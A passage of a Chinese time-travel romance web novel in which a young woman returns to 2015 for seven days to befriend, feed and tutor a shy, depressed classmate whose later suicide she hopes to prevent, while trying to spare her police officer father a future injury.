如果他还活着的话,她一定会去拥抱他,感谢他,向他道歉……
如果能早点认识他的话,她一定会好好地介绍自己,告诉他,你也是特别温柔善良的人……
如果能早点意识到他的存在的话,她一定要和他做很好很好的朋友,告诉他,她喜欢他的文字,喜欢他的故事,喜欢他的温柔,喜欢他的心……
可是什么都来不及了……
他已经死了啊。
祝今安心脏紧缩,生出一股强烈的无力感。
他那么年轻,那么有才华,那么善良,那么温柔……
有什么用呢,他已经死了啊……
愧疚,难过,惋惜……各种情愫涌入她的心脏,她的泪腺再也止不住地流泪。
如果能救他的话……
如果能回到过去的话……
如果能改写他的结局的话……
祝今安脑中只有一个念头——
如果能时光倒流,回到那个时间就好了——
好想认识他,好想感谢他,好想救他……
“你想救他吗?”
一个声音在她的脑中响起。
她抬头,望过去。
泪光中,她看到一个小人沐浴在月光下,微笑着,温柔地望着她。
4. 第一封信1
2015年2月13日,是一个很寻常的日子。
距离玛雅人预言的世界末日已过去了两年多,这个世界再一次很平常地迈入新年。
街边的路灯都挂了灯笼,四处都上了季言澈喜欢的红色。
南方很少下雪,但空气很冷。
季言澈穿得很单薄,缓缓地往工作地点走去。
他往手中哈了口气,眼镜也蒙了一层雾,望了望天。
天还没亮,但季言澈觉得今天会是一个好天气。
就算不是好天气,他也希望是个好天气。
毕竟过年了,有太多人想回家团圆,还是天气好点适合。
希望归家的游子归途顺畅无阻。
他想。
一阵风吹过,冷得季言澈直哆嗦。
他加快了步子,跟着风的脚步,走向他的目的地。
**
便利店很理所当然地没有人——
毕竟老板都回去过年了。
季言澈走进店门,打开电灯,启动收银机,打扫起店里。
打扫完,天差不多亮了,渐渐人也多了。
季言澈开始了忙碌又无聊的一天。
一不小心忙到了中午。
站了几个小时,肚子饿了。
他透过玻璃望了望天。
阳光明媚,能看到碧蓝的天。
快中午了,再忙会儿吃饭吧。
老板还是人很好的,至少包饭钱。
正想着,便利店门铃响了。
门被推开,一股寒气顺势袭来,连带着的还有馥郁的梅花香。
他寻声望过去。
一个戴着红帽子背着书包的女孩踏入便利店,喘着气,额头有着汗珠,一只手还拉着门把手。
很眼熟……
不可能吧。
季言澈心道,自己在做什么白日梦呢。
喘过气后,女孩直立起身板,一双黑白分明的眼睛直勾勾地看着他。
季言澈愣住了。
真是祝今安?
他的脸迅速涨红起来,下意识地低下头。
她怎么会出现在这?这家便利店离学校还挺远的啊……
不会认出他吧……
不不,不可能,祝今安不会认识他的……
季言澈内心涌出几分苦涩,也平静了几分,小心地抬起头来。
结果看到她就站在柜台前,那双好看的眼睛还是紧盯着他。
惊得季言澈后退了几分。
她,她不买东西……?看着他做什么……
面前的女孩笑了,像花绽放般笑了,明媚地,和窗外的阳光不相上下,一瞬间,整个店都仿佛亮堂起来。
季言澈感觉自己会溺死在这个笑中。
她朝他伸出手:“你好呀,我叫祝今安,请问你的名字是……”
她的声音很甜,如果要他来作喻,这就像是春天的声音。
一瞬间,季言澈以为自己是在做梦。
这肯定是梦啊,不然祝今安怎么可能会在寒假期间出现在他面前,还向他自我介绍,询问他是谁?
不对,就算做梦也要好好自我介绍才对。
季言澈紧张地说出自己的名字:“张、张言澈……”
啊啊,怎么结巴了,做梦都不能好好介绍自己吗?
季言澈懊悔。
她噗嗤一笑,取下书包,在包里摸索起来。
是在掏钱,准备付款吗?
她却从包中拿出一罐牛奶,递给他:“给你,这是我很爱喝的牛奶,谢谢你把伞还我!”
牛奶?伞?
季言澈怔住。
这个梦也太奇怪了吧,居然还梦到祝今安给他牛奶?还谢他还伞?
自己也是做起白日梦了。
“你不接吗?我的手很累的。”
“好,好的!”
季言澈连忙接过。
易拉罐冰凉的触感令他一惊。
这梦也未免太真实了吧?
他用力地掐了掐自己,想着不要再做白日梦了,赶紧起来工作。
结果一阵痛意袭来,他惊呼:“嘶——好痛!”
不,不是梦?!
季言澈瞪大眼睛,不敢相信。
眼前的女孩又笑了,这次她笑得很大声,季言澈知道这是她遇到开心事情的笑声。
她说:“你好有趣啊,我能和你交朋友吗?”
有如天籁的声音像是从很远很远的世界传来,走了很多很多年,才好不容易进入他的耳中。
这一刻,就好像他在课上偶尔发呆想到她,不自觉在书页里写的一样——
你就像奇迹降临在我面前,拉着我离开这腐烂的泥沼。
他怔怔地,大脑空白一片,只觉得眼眶一热,视线便模糊了。
**
祝今安醒来的时候,自己正坐在教室里,拿着笔,正在写数学题。
她愣住了,环顾四周。
只有寥寥几人坐在教室中安静地学习。
祝今安的心跳开始加速,她从口袋中摸出手机,屏幕上清晰地显示着:2015年2月13日10点45分。
她的呼吸一滞——
这是……假期学校安排的自愿自习?
她真的……穿越了?!
祝今安震惊地捂住嘴,而后意识到什么,迅速穿戴好帽子,收拾书包,几乎是冲出教室。
季言澈,他现在是在便利店吧?
屋外天光大好,阳光洒满大地,空气中弥漫着爆竹的硝烟味。
是个好天气。
她迈开双腿,用尽平生最大的速度奔跑着。
两边的树木以不可思议的速度倒退着,她转过一个个拐角,穿过一个个街道,跑过一条条小路——
这一次,如果跑着去见你,和你相遇,一切会来得及吗?
**
祝今安跑到目的地推开门后,气都喘不上来。
她想,自己跑八百米都没这么拼命过。
更何况这么多年没跑了。
好不容易缓了一口气,抬头,一眼望到那个颀长的身影站在收银台前,眼神惊讶地看着她。
对上她的目光,他又迅速低下头。
嗯,乱糟糟但很蓬松的卷发,又是眼镜和口罩,遮得严严实实的,看不到脸上一块皮肤。
连上班都这样,他是有多不想让别人看到他的脸?
而且,这都二月了,怎么穿这么薄?不怕生病吗?身子骨这么瘦,那个手也是,瘦得只剩皮包骨头了。
果然是个无法让人放下心的孩子。
成为朋友后,给他买衣服,还有多喂点东西吧。
她的奖学金还是够的。
她想着,目光还停驻在他身上,上下打量着,季言澈缓缓抬起头来,再一次对上她的目光。
他后退了几步。
什么啊,我是什么洪水猛兽吗?这么害怕。
祝今安笑起来,露出一个和善的笑,开口道:“你好呀,我叫祝今安,请问你的名字是……”
这样的自我介绍,不会吓到他吧?
“张、张言澈。”
他结巴开口了,声音和他的外表不同,意外得清澈。
真是个社恐啊。
祝今安觉得有些好笑,她想了想,从包中掏出一罐牛奶,递过去:“给你,这是我很爱喝的牛奶,谢谢你把伞还我!”
嗯,很自然地切入“伞”的话题,潜台词她认识他,这不就有联系了吗!非常自然!
对方却愣住了,半晌没有动静。
……举得她手都累了。
“你不接吗?我的手很累的。”
她开口提醒。
“好,好的!”他接过了,看起来很紧张。
接过的瞬间,对方又愣住了。
他是怎么做到在几分钟内愣这么多次的?
祝今安想。
但接下来他的举动更奇怪了——
他扯下口罩,掐了自己一下。
看起来挺疼的,苍白的脸都被掐红了,他发出惊呼。
他这是……以为自己在做梦?
祝今安直接笑出来了,很大声的那种。
虽然有些不礼貌,但真的很好笑啊。
太有意思了。
笑够了,她开口道:“你好有
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趣啊,我能和你交朋友吗?”
本以为他会惊讶,或者高兴,没想到这次的他却直接哭了。
虽然戴着眼镜看不起他的眼底,但他扯下了口罩,能清楚看到一滴泪从他的脸颊滑过。
这,这是被吓着了?
要死,他可是抑郁症患者啊!自己果然还是太快了!
祝今安手忙脚乱从口袋掏出一包纸递过去,慌张道:“你别哭啊,我没想到你反应这么大,先不当朋友也可以……”
季言澈摇头,很可怜地用衣袖擦着脸,像个孩子:“没有,是我对不起你,我没想到你会想和我交朋友,你还认识我,我,我……”
自己怎么还当着她的面哭了呀,好丢人……
“我就是觉得很不可思议,我,我……”
他抽噎着,语无伦次。
“你想和我成为朋友吗?”祝今安笑,声音轻柔。
“想,想的!”他紧张到有些大声,“但,但是,为什么?”
季言澈不明白。
在今天之前,她从来都没有注意过他呀。
穿越的事是不能说的。
祝今安想起穿越前对小精灵承诺的事。
“因为,你很善良啊,”祝今安道,“我借你的伞,你还我了。”
这个理由,是不是太蹩脚了?
“这是,我应该做的,”他红了脸,“你才是善良的,因为这个和我交朋友……”
他相信了。
真单纯。
有点可爱。
祝今安笑:“那我这几天能来便利店找你吗?”
你不是要去学校自习吗?
季言澈愣住。
“不可以吗?”
祝今安一双秋眸望着他,眼睛带着无法让人回绝的恳求,睫毛微微颤动,像是蝴蝶的翅膀轻轻扇动他的心。
他的脸更红了,什么都想不起来,脑子一片空白,只是无意识结巴道:“可以,可以……”
“好耶!”祝今安开心了。
成为朋友就是改变的第一步!
“你吃午饭了吗?”她问。
“没有,本来打算晚会吃的……”
季言澈的声音很小,祝今安有些没听清:“你说什么?”
“我说我还没吃。”他音量大了些。
“我也没吃,”祝今安道,“你的声音可以再大点的,我都听不清。”
是吗……
他好久没和人这样交流了,都忘了正常音量是怎样的了……
季言澈再次尝试:“这样呢?”
“大了点,感觉像吼出来的。”
“这样呢……?”
“嗯嗯,差不多了,保持这样就可以了!”
祝今安朝他竖起大拇指。
怎么感觉……怪怪的?
这是朋友之间的相处模式吗?
季言澈想不明白,最后只权当自己是因为没朋友不适应。
这也是计划的一步!让季言澈变得阳光开朗,交上知心朋友!
这样就算自己回去了,他也不至于没有倾诉的人,而后走向毁灭吧?
祝今安心想。
可是她来在这个时空只有七天时间啊……
“你有□□吗,或者微信?”她问,“手机号也可以。”
“没有,”季言澈摇头,“我……没有手机……”
也对,这个时候大部分学生没有手机,更何况季言澈。
“那你记住我的手机号……”祝今安顿住了。
她的手机号是毕业后换了的……
不管了,两个号都说吧。
她将两个号码写到一张纸上。
“第一个是我高考前的号码,第二个是我高考后的,记住了,”祝今安认真道,“如果有什么困难,一定一定要打给我!”
哪怕作为大安安的她回去了,但她相信作为小小安的自己,那么善良,肯定也会帮助他的!
为什么是两个手机号?
季言澈有些纳闷,但他还是收下了纸条,道谢:“好,好的,谢谢……”
小心翼翼地折好,放进上衣口袋。
很珍重的样子。
5. 第一封信2
“你什么时候下班呀?”
祝今安问。
“要,晚上八点……”
季言澈不适应自己的音量,有些磕磕绊绊道。
真久啊。
“晚上这么冷,你穿这么少就这么回去吗?”祝今安真是看不下去他的衣服。
“嗯。”
黎明更冷呢,稍微撑一下也就过来了。
可怜的孩子……
祝今安伸手,比了比他的身高。
应该一米八几,和她爸差不多,身材也是……
“怎,怎么了?”季言澈被她的动作一惊,缩了一下。
“就想问问你多高。”
“一米八三吧……好久没量了,好像又长高了。”
他的裤腿又短了。
很烦,自己的身高还在长,他又不能买新衣服。
希望不要再长个了。
“真好呀!比我爸爸还高,而且还在长个!”祝今安语气羡慕,“我只有169……唉,我的理想身高是一米七五啊……”
她喜欢高个子吗?好吧,自己的身高也没那么讨厌了。
“没事的,你还没成年,肯定会长的!”
不会长了,她这辈子都突破不了一米七了。
祝今安忧伤道:“希望吧……虽然我已经三年没长个了。”
“所以你一定要好好吃饭啊!趁着年轻再长长!我应该是没希望了……”
好吧……如果她希望的话,那再长长也没坏处。
季言澈乖巧点头。
“那现在吃饭吧!到饭点了!”祝今安当下决定,“一起吗?”
她在邀请和我一起吃饭?
季言澈眼睛一亮,随后想起自己在工作:“不行啊……我要看店……”
“没事,我去买一份和你一起吃,”祝今安道,“不过,你吃什么呀?”
季言澈答:“我一般去隔壁店买盒饭吃。”
“每天都这么吃……?”
“嗯。”季言澈点头。
这、这也太不健康了吧!
不行不行!绝对不行!
她得给季言澈带饭!这可怜孩子怎么连顿饭都不好好吃?
祝今安眼中燃起熊熊烈火。
之前大韵韵说她可以自习的时候送饭,小小安拒绝了,觉得太辛苦了,干脆中午回去吃,下午再回去自习。
但现在,首要目标是在离开前的这七天救季言澈!所以她肯定不能去自习了,更何况她学习也不能高考啊。
所以只能委屈小小安了,得暂时放弃你的自习时间了。
祝今安宽慰想。
嗯,计划就是,早上多带点饭菜,然后来这分给季言澈吃。
不过……
“这里有微波炉吧?”
季言澈点头:“有的。”
那就没问题了!就这么办!
“你先别买饭了,等我回来!”
现在她回去拿饭!还有衣服!
“什么?”季言澈懵。
祝今安道:“我回去拿我妈做的饭菜,分给你吃!你吃得太不健康营养了!”
“不不不用了!我这样吃就可以了!”
季言澈感觉现在的情况简直比做梦还离奇。
这是不是对他太好了啊……
“我不管,反正我去拿了!你不准买!”
“等——”
还没等季言澈答应,祝今安就跑出去了。
太奇怪了,这真的不是在做梦吗?
季言澈大脑有些晕乎乎的。
他摸摸自己的头。
有些烫。
是烧糊涂了吧,出现了祝今安会关注他的幻觉。
季言澈叹气,摸了摸口袋里的钱。
去买盒饭吧。
……
算了,再等会吧。
哪怕是幻觉,他也不舍得违背和祝今安的约定。
**
天很冷,风像刀片一般刮在她裸露在外的皮肤上。
祝今安飞快跑回家。
今日的运动量已经明显超脱她这个老人家的上限了!
她扶着门框拍着胸口气喘吁吁。
祝秋韵听到动静,从屋里走出来:“安安?今天怎么这么早回来了?”
“大韵韵!我、我想带饭出去吃!”
说着又急急忙忙跑进厨房。
厨房中还弥漫着一股油烟味,显然是饭菜刚做完没多久。
“怎么了?不是说不带饭吗?”祝秋韵看着满头大汗的祝今安,关心道,“你跑回来的?出啥事了这么急?”
“没,就是老师办公室有微波炉,可以热饭吃,以后我早上带饭过去。”
祝今安边盛饭边道。
大韵韵这个时期对她学习还挺敏感的,不能让她知道这件事。
反正她也就在这待七天而已,对不起了大韵韵!不是故意要骗你的。
“哦,对了妈妈,之前你不是总说爸爸的衣服很多旧的吗,他不舍得扔,”祝今安看向祝秋韵,“能不能给我呀,我给我同学,他家境不好,我想帮他。”
“当然没问题,我去给你找,”祝秋韵笑着摸摸祝今安的脑袋,“我家安安就是善良!”
“那是,毕竟我是大韵韵的女儿!”
祝今安俏皮地凑过去蹭妈妈的脸。
“呀,妈,你脸变滑了!”
她兴奋道。
“尽嘴甜了,”祝秋韵捂嘴笑,“好了,不和你贫了,我去给你找衣服。”
是精神的大韵韵。
祝今安看着她的背影,鼻子一酸。
在爸爸出事后,妈妈的衰老速度快得不可思议,像是一夜之间被夺走了青春。
2017年的11月23日。
祝今安永远记得那一天。
一则噩耗打断在上课的她,如同晴天霹雳,将本心情愉悦的她击入深渊。
父亲在追查某个犯罪组织时暴露了行踪,对方设下圈套,引他步入陷阱。
一场爆炸,夺走了他的双腿。
大腿以下全部截肢。
她都忘记自己是怎么回的家。
一点实感都没有地看着在病床躺着的爸爸。
失去了两条腿的爸爸。
祝今安捂住嘴,强忍住眼泪。
“安安,这些够吗?”
一件棉袄,两件毛衣,两条裤子。
“够了够了!”祝今安点头,“谢谢妈妈!”
“我给你拿行李袋装起来。”
祝今安也装好饭菜了,拎着一起放入行李袋中。
“妈,你等爸回来,劝他换份工作吧,太危险了。”
祝今安道。
即使她知道父亲对警察这份职业有多热爱,那份为人民服务的心有多执着,怎么可能因为她们这几天的三言两语轻易放弃?
但是……万一呢。
除了这样她也想不出任何办法啊。
只要每天劝,总会有那么一点可能吧?
她只能这样了。
“我都劝过很多次了,他哪是我能劝动的。”祝秋韵叹气。
“等我回来一起劝!”祝今安抓住祝秋韵的手,“妈!一定要劝他换份工作,不然,不然……”
不然爸爸会永远坐在轮椅上了。
祝今安遏制不住悲痛,眼泪瞬间蓄满眼眶。
“怎么哭了啊,你今天怎么了?哪里不舒服?”
祝秋韵摸摸她的额头。
祝今安摇头,只能默默流眼泪。
不能说出未来的事,不然会被遣回未来。
“一定要答应我!他不答应的话也要每天劝!直到他换工作为止!”
她离开了这个时空也要一直劝下去……
祝秋韵看着万分郑重的女儿,怔怔点头:“……好,妈答应你。”
“那就好!”祝今安擦去脸上的眼泪,露出笑容,“妈,我这辈子最大的愿望就是,你们健健康康,陪在我身边,其他什么都不在乎……”
“你们女儿可是要考985的啊!我以后一定会很有出息的,一定会让你们骄傲的!”
“傻孩子……”祝秋韵抱住她,欣慰道,“安安没有出息也没关系,爸妈也是,安安一辈子高高兴兴、健健康康就好了。”
“妈——”祝今安的眼泪彻底决堤。
她未来没有很有出息,每天像个陀螺一般忙得不停,却不明白自己在忙什么,上班当着牛马,下班还要兼职辅导……
很累,真的很累……
但是,如果能让爸爸重新站起来,那一切都是值得的。
**
天涯春信自如期。
春信是梅。
季言澈嗅着空气中的梅香,大脑不着边际地想着。
梅,给人最多的印象是雪梅,是冬梅,象征着冬天。
但古人又赋予它春信的身份,这是否和雪莱“冬天来了,春天还会远吗”的期望相似呢?
都带着几分希望的感觉。
果然,古往今来,大家的心都是一样的吧?
这么想还挺浪漫的。
季言澈自娱自乐地想,在枯燥的等待中品到了几分乐趣。
说起来,便利店门口的梅,是……
“叮——叮——”
门铃响起,打断季言澈的思考。
一顶他在冬天看过不知道多少遍的红色帽子印入眼帘。
帽子下的女孩再一次出现在他面前,又一次喘着气,脸也红扑扑的,注意到他的视线,望过来,露出一个笑容。
是红梅啊。
季言澈恍惚想。
是他喜欢的红色啊。
**
“这是我
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爸穿旧的衣服,你拿回去穿吧。”
祝今安包中掏出一件棉袄,递过去。
棉……袄?
季言澈愣住了。
“给我的……?”
“对呀,你穿得太少了,会生病的。”
祝今安指了指他的衣服。
今天可真是冷死了,尤其是骑着自行车,可把她冻坏了。
也不知道季言澈穿这么少怎么忍得下去的。
生病?
他已经生病了呀,不然怎么会烧糊涂了出现这种幻觉。
季言澈脑子有些钝,他晃了晃脑袋,想让自己清醒点。
“怎么了?”
见季言澈不对劲,祝今安走进柜台问。
“没……有些晕……”
季言澈晃着身子道。
“晕?”祝今安朝他招手,“低头!”
嗯?低头?
季言澈乖乖低下头来。
“再弯点腰啊,手举得累!”
哦,还要弯腰。
季言澈弯下腰来,脸凑近她的脸。
距离有些近啊,好真实,都能看到她脸上的毛孔了。
她的鼻子尖还长了颗红红的痘痘,好可爱……
祝今安不知道季言澈在想什么,手摸上他的额头。
冰凉的触感让季言澈愣了愣。
他眨眨眼睛。
好舒服……
祝今安摸了又摸。
……手太冷了,摸不出来。
她一急,按下他的脑袋,和他紧贴额头。
季言澈呼吸一滞。
距离近到不可思议。
鼻尖几乎都能碰上了。
祝今安皱眉,松开他。
温度差很明显。
“你果然发烧了,”她没好气道,“穿这么少,真是……赶紧把衣服穿上!”
拿起棉袄凶道:“快穿!”
“哦……”
季言澈很听话穿上了,一个个扣上扣子。
好暖和……
“然后!乖乖吃饭!”
祝今安从包中提出保温桶,放在柜台上。
她的包怎么什么都有呀,是哆啦A梦的口袋吗?
季言澈的眼睛紧紧地盯着她,像是认主的狗狗。
“碗筷你有吗?”
祝今安将菜一个个摆出来,还冒着热气。
季言澈点头。
有碗打包的话省打包费。
“那完美了!”祝今安笑着将一大坨饭赶进他的碗里,“吃得下吗?我盛了很多饭的,不够还能添。”
“吃得下。”
鼻尖萦绕着饭菜的香味,季言澈感觉自己肚子咕咕叫起来。
“那多吃点!要多吃肉!”
祝今安往他的饭盒里夹了个鸡腿,笑:“鸡腿也有两个呢,一人一个!”
季言澈端起碗,感受到碗壁传来的热度。
好像……不是幻觉?
如果不是幻觉的话,为什么祝今安会对他那么好?
“你吃鱼皮吗?”祝今安问。
“我什么都吃。”季言澈点头。
“那太好啦!我还在烦恼这个鱼皮怎么办!”祝今安夹了一大块鱼肉到他碗里,“快吃饭呀,不然就凉了,这么冷的天。”
季言澈迟钝地加了块鸡腿,一口咬下去。
“好吃吗?我妈妈做的!”
祝今安期待地看着他。
好吃,太好吃了。
季言澈点头,眼眶湿润。
像妈妈的味道。
“嘿嘿,大韵韵做的菜天下第一好吃!”祝今安骄傲道,“来过我家吃饭的没一个不夸我妈的好手艺呢!”
“下次来我家一起吃饭吧!”
没错!要让季言澈来她家!没准她走后他会来她的家求救呢?
“就这次过年吧!”
祝今安双眼一亮,兴奋道。
完美的机会啊!正好可以一起给他过生日!
“不、不用了!”季言澈吓坏了,连忙拒绝,“我……已经答应老板要守着他便利店了……便利店要一直开着……”
“哦,好吧……”
祝今安失落道,随即想到什么,眼睛再次亮了起来:“我那天会来找你的,给你个惊喜!”
惊喜?
“为什么要给我惊喜呢?”
“那天你就知道了,”祝今安笑,“是奖励给乖孩子的礼物。”
“你要好好吃药哦,不然那天就不给你惊喜了。”
季言澈点头。
他一定好好吃药。
真乖,好像一只卷毛狗啊……
……卷毛?
这个名字好熟悉啊……谁来着?。
祝今安愣了愣,想了会儿却什么也没想到,索性不纠结了。
嗯,吃饭吧。
6. 第一封信3
吃过饭后,祝今安显然没有想走的意思,她又闲不住,和他聊起天来:“你想考哪个大学呀?”
大学?
季言澈没想过这个问题。
他感觉自己应该是不会读大学了。
毕竟他成绩又不好,普通班中等,本科线都过不了,还有兼职以及各种事情,没有时间学习的,上专科的话不如直接打工。
“我应该会直接出来打工。”
“为什么呀,因为成绩吗?”
不行啊,这么年轻有才华的孩子去打工?这不是浪费他的写作天赋吗!
“嗯。”一方面原因。
“成绩不好我可以教你呀!”祝今安拍桌,立马决定了,“我可是年纪第一!”
哪能那么麻烦你啊!
“不用了……”
季言澈想拒绝,被祝今安打断了:“你怎么那么爱说不用了啊!你都拒绝我多少次了。”
“我不管,你必须答应我,不然我每天缠着你!”
无法拒绝……
季言澈想。
“……好吧……”他微微点头,“谢谢你……”
“不过……我基础很差的,也没有什么时间来学习……”
她可是年级第一呀,他成绩那么差,会不会慊弃他……
“别担心,我别的不擅长,但学习还是有点心得的,你要是有不会的就来问我!”
祝今安拍拍胸膛。
就算她走了,小小安那么善良,他主动问题目,她肯定也会解答的。
祝今安对自己从小到大的善良很放心。
“对了,你的寒假作业写完了吗?”
“……没……”
“写了多少?”
季言澈的声音有些心虚:“……一点都没有写……”
他打算一个晚上一个奇迹来着……
祝今安会不会很失望啊……可是他真的没时间……
“那好,那些都别写了!”
祝今安的话令季言澈一愣:“啊?”
“那些一起订的寒假作业一点含金量都没有,做了也是浪费时间,”祝今安言之凿凿道,“到时候我给你找题。”
她大学当了那么多年家教,也就是个高考,多少也是熟谙于心。
以她现在的眼光来看,他们学校的教育真算不上好,作业也是为布置而布置。
对了,现在做一本笔记吧!做好了留给现在的小小安,然后复印一份作为生日礼物给季言澈!
不过一周时间太短了……要做的话得拼命压缩时间了……
不管了!她之前大学不也这样,能适应!再说了她就待七天!那睡眠时间就由小小安补回来吧,反正在放假了。
“现在告诉我,你哪个科目比较薄弱?哪个部分不会?”
“数学和地理不太明白,数学主要是导数……”
……
季言澈有些懵,但还是如实汇报他的学习情况。
“OK,你以前考过的卷子之类的有保留吗?”
季言澈:“还留着。”
打算高中毕业打包一起卖掉来着。
“好,明天把你所有的卷子带过来,我分析一下。”
“好。”季言澈乖巧点头。
“现在,和我一起做我手上的卷子吧!”祝今安掏出她在教室里没写完的卷子拍在桌上,愉快决定,“反正现在没人。”
季言澈不喜欢学习的。
他的抑郁症虽然还不严重,但会令他注意力不集中,所以学习对他来说是一件比较难的事情。
他觉得自己应该要说的,但是……他怕吓到她。
季言澈垂眸:“好。”
他要努力专注,绝对不能让祝今安失望。
“看第一题,第一题简单。”
嗯嗯,简单,他一定要做出来!
是很简单,季言澈一下就得出了答案:“选B?”
祝今安手上的笔“pia”的敲他手上:“粗心大意!看条件!”
季言澈“嘶”了一声,缩回手。
“很疼吗?”祝今安连忙道,“抱歉啊,习惯了。”
之前教的高中生都挺皮糙肉厚的,而他的手一点肉都没有,估计挺疼的。
“没有,不疼……”季言澈道,“就是吓到了,你多敲敲就习惯了。”
祝今安:“?”
“你还想被多敲?”
“不是错了就敲吗?我应该会错很多题的……”季言澈小心道,“这道题我确实没看清楚,我之前明明犯过一样的错……”
“你还怪听话的,是个好学生,”祝今安满意点头,“不过有罚就有奖,这样吧,明天我带糖果来,你写对一道题就给你糖怎么样?”
季言澈乖巧点头。
有糖诶……
……
之后的题季言澈都没问题了,毫无卡壳地做到选择倒数第三题。
然后他就卡壳了。
好长的题干……看得季言澈眼花缭乱。
他的思绪开始乱飘了,题干他看了好几遍都没看明白。
“怎么了?”察觉到他异常的祝今安关切问。
“没,就是头有点晕……”
“那休息会吧,别勉强自己,你不是还在生病吗?”
祝今安说着放下笔:“我去给你买药,你这样不吃药不行啊。”
“不用了,我……”
季言澈还没说完,祝今安又跑了出去。
……
她今天已经两次因为他奔走了。
季言澈鼻子有些酸。
她真的好好啊,怎么会有这么好的人?明明今天才第一次和他有交流……
喜欢……好喜欢她……
**
“快喝药!”祝今安把泡好的药递给他。
季言澈乖巧地接过,一口闷了。
有些苦,不过还好。
“喏,路上买的糖,吃掉它。”
粉色的水果糖,草莓味的。
“谢谢。”季言澈接过,撕开包装含在口中。
果然很甜,嘴巴里的苦味立刻被甜味取代了。
“好吃吧?小时候我也不爱吃药,我妈每次都会买这个糖来哄我。”祝今安笑着分享她的事。
“你妈妈真好,她一定很爱你。”
季言澈的表情有些落寞道。
他的妈妈也会买糖给他,不过那已经是很久以前的事情。
……
祝今安是有些想询问他的家庭情况的,但感觉太急了,会吓到他。
还是慢慢来吧。
不过他这个时候就有抑郁症了吧……不知道他自己有没有发现……要不要带他去医院看看?
祝今安纠结地想。
这样她反而会被当做神经病吧?无缘无故拉着别人去看病……
不如用自己引一下吧……
想到好主意的祝今安眼睛一下子就亮了。
她立马蹙起眉毛,装出一副忧愁的样子,唉声叹气起来。
“怎么了……”季言澈对她表情的突然转变不解,紧张问道。
该不会他做错了什么吧?
“我,好像得抑郁了。”
季言澈:“……?”
“……为什么这么说……”
怎么可能啊,她明明一直一副很阳光开朗的样子。
“就是很焦虑,因为发生了很多事情,对未来感觉迷茫,晚上睡不着,焦虑到胃疼的那种……”
这确实是她穿越前的事,当时压力大到真以为自己要撑不下去了,然后找Blessing诉苦,还是他帮忙找人治疗的。
……如果没有Blessing的话,估计她真会抑郁吧……
现在她也是回来治他的抑郁症了,因果循环啊。
“因为什么事焦虑呢?”季言澈问道。
这怎么解释呢……她又不能说未来的事情……
“就……高考,我怕我高考考不好。”
祝今安勉强解释着。
虽然说
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她高考确实失利了来着。
全年级第一还会有这种烦恼吗?
季言澈不是很理解,还是安慰道:“你不用那么紧张的,距离高考还有好久……”
祝今安道:“我知道的,可我就是很焦虑没办法啊,所以想找医生看一看。”
也不知道能不能就此拐他一起去。
季言澈沉默了一会道:“你的状况,应该没有到抑郁的程度。”
“你怎么知道?”祝今安看向他。
“因为……”季言澈有些不安,想解释,又迟迟没说出口。
祝今安看他的样子,也知道自己的话很冒昧了,连忙道:“算了,我也没那么想知道。”
看样子他应该是知道自己的情况的,就是不知道他有没有好好吃药。
季言澈点头,“嗯”了一声。
看着他瘦削可怜的样子,祝今安叹了口气道:“你生病了一定要好好吃药啊,不管什么病都要吃,不然一直病着很难受的。”
季言澈有些怔住。
她是不是知道些什么啊……
他眼圈发热,点头:“嗯,我一定好好吃药。”
“真乖,再给你颗糖,”祝今安笑,把一颗薄荷味的糖放在他的掌心,“回家吃完药吃。”
……
手心那颗小小的糖,裹着缤纷的糖果纸,折射出五彩的斑斓来,亮晶晶地跃进他的眼睛。
……
季言澈能听到胸膛的悸动。
“谢谢。”
他攥紧那颗糖,小心地放进口袋里。
那垂落的碎发随着他的动作轻颤着,低着头,头发几乎把整张脸都遮住了,但祝今安分明看到了,那发丝缝隙间,他干裂的唇纹正被局促的笑靥撑开细缝。
脸颊两旁凹下的小窝在阴影中若隐若现。
“呀,你笑了!”祝今安有些新奇地凑近,想要看得更清楚些,“今天看到你第一个笑呢!”
听她这么说,季言澈脸一红,笑容下意识收敛,低下头来:“啊……有吗……”
祝今安见状不满道:“你怎么就不笑了啊,我还没看清楚呢!”
“你好像有酒窝哦,再笑一个给我看看。”
季言澈有些不知所措:“我……不是很会笑……”
他已经很久没笑了。
“笑很简单呀,你看我,就唇角上扬,自然就笑了啊!”
祝今安指着自己的脸,露出一个笑容来。
季言澈一看就移不开眼了。
她冬天都会涂润唇膏的,此时的嘴唇水亮亮的,笑起来露出两排洁白的牙齿,眼睛更是成了弯弯的月牙,仿佛明媚的春光要从她的笑容溢出。
他有些怔愣地这个笑容,心想自己此时的脸一定很红——
还好他的头发长。
“看到了吗,你再试试。”
祝今安笑吟吟看着他。
季言澈不自觉咽了口唾沫:“我……”
她笑得那么好看,他怎么模仿得来……
“嗯?”
祝今安期待地看向他。
“我试试……”
季言澈努力控制脸上的肌肉,牵动着嘴角上扬。
一不小心,干涸的嘴唇因为太用力裂开一道口子,冒出血珠来。
季言澈吃痛,“嘶”了一声,连忙捂住嘴巴。
“怎么了?”祝今安没有看清,关切问道。
季言澈把手放下,有些懊恼道:“笑得太用力,流血了……”
“噗——”祝今安笑出声,把纸巾递过去,“感觉你好笨啊,怎么笑一个还会受伤啊。”
季言澈有些难为情地接过纸巾:“谢谢……”
他是挺笨的,什么都不会。
“你的嘴唇太干了,冬天要涂唇膏的,要多喝水。”
“嗯。”季言澈点头。
看他的样子感觉他完全不会涂嘛……
祝今安腹诽。
买一罐护唇膏当生日礼物一起送吧。
她想。
7. 第一封信4
一天就在和季言澈的讲题和聊天中结束了。
祝今安带着笑容回到家。
目前第一天的感觉还不错,照这个势头可以和季言澈成为朋友吧?
不过她回去了怎么办……
她总不能要求什么都不知道的小小安去救一个人吧。
祝今安又有些丧气。
七天时间太短了,做的事情太有限了……
她回到房间,拿出本子列出她的计划。
季言澈是因为抑郁症才自杀的,而他悲剧的来源是他的家庭。
目前她肯定是接近不了他的家人的,就算接近了也做不了什么。
所以祝今安的计划很简单,让季言澈积极开朗起来,好好学习交到朋友,考上大学,大专也可以,反正一定要摆脱原生家庭,离开这里。
只有离开创伤才能更好地进行心理治疗。
目前他的病情看起来不严重,这个时候积极治疗干预最好。
所以她还要请外援帮忙照看,而这个人选,季言澈的班主任——也就是余方雅。
祝今安思索着,觉得这个主意不错。
后天好像轮到余老师看守自习学生来着……
就后天去见余老师吧。
……
正想着,门外传来一声粗犷的呼喊:“老婆!安安!我回来了!”
是爸爸!
祝今安连忙站起来,飞奔出房门,扑入那个高大的怀里:“爸!”
是爸爸,腿还在的爸爸……
被女儿突然抱住的安仁谦有些懵:“怎么了,安安?”
祝今安没说话,摇了摇头,却怎么都没肯松手。
